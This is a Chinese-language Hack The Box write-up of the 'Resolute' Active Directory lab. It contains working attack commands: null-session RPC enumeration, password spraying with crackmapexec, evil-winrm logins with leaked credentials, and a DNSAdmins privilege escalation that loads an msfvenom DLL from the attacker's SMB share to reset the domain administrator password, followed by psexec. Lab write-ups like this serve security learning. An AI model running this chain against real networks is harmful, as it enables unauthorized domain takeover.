本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第五篇,靶机名字为Resolute
首先我们使用nmap来进行端口与服务的发现
Nmap scan report for 10.10.10.169
Host is up (0.39s latency).
Not shown: 65476 closed ports, 36 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-12 08:19:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/12%Time=634676E0%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.02:
|_ Message signing enabled and required
|_smb2-time: Protocol negotiation failed (SMB2)
通过枚举发现我能够使用空身份验证连接到 RPC:
rpcclient -U "" -N 10.10.10.169
enumdomusers #枚举用户
querydispinfo #显示用户列表和描述
通过用户列表中的描述,我们发现了marko用户的明文密码
marko:Welcome123!
经过crackmapexec验证发现该用户不能登录,我们把前面发现的用户名都存入userlist.txt 然后使用crackmapexec进行密码喷洒
crackmapexec smb 10.10.10.169 -u userlist.txt -p 'Welcome123!' --continue-on-success
发现用户melanie可以登录,使用evil-winrm工具登录到用户melanie上
evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'
然后我们在该用户的一个目录下发现了一个存有ryan用户名和密码的txt文件
尝试使用winrm登录到ryan用户,发现可以登录
evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'
我们在ryan用户的桌面发现了一个note.txt文件,内容如下:
due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
翻译:由于更改冻结,任何系统更改(除了管理员帐户的更改)将在 1 分钟内自动恢复
通过如下命令,我们发现ryan用户是DNSAdmins 组的成员
DNSAdmins 组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。
默认情况下,DNSAdmins 没有启动或停止 DNS 服务的能力,但管理员授予该组该权限并不罕见。dnsadmins 组的成员可用于通过 dll 注入将权限提升到管理员。
参考链接:DNSadmin组实现权限提升 https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
在目标上,我们可以更改 dns 的配置,因为用户 ryan 属于dnsadmins组。我们还可以启动和停止 dns 服务。
首先我们可以使用 msfvenom 生成我们的有效负载 dll。,启动smb服务
msfvenom -p windows/x64/exec cmd='net user administrator [email protected]! /domain' -f dll > da.dll
smbserver.py SHARE ./
*Evil-WinRM* PS C:\Users\ryan\Documents>cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe start dns
psexec.py megabank.local/[email protected]
[email protected]! #输入密码
参考资料:DNSadmin组实现权限提升 https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
本篇文章到这里就结束了,这里做个简单的总结,首先通过对各个开放服务的枚举,我发现了rpc可以空用户登录,通过枚举用户及信息,又发现了marko用户的明文密码,经过尝试发现无法远程登录获取shell,于是把枚举到的用户名存入userlist.txt使用发现的明文密码通过crackmapexec进行密码喷洒,发现melanie用户可以通过该密码进行远程登录,于是我们获取到了一个shell,经过信息搜集,我们在该用户的一个txt文件里面找到了ryan用户的账号和明文密码,并且通过evil-winrm登录到了ryan用户上,通过whoami /all
命令发现该用户属于DNSadmin组的成员,于是我们通过dll命令注入创建了一个新的管理员账号,最终通过psexec拿到了系统权限。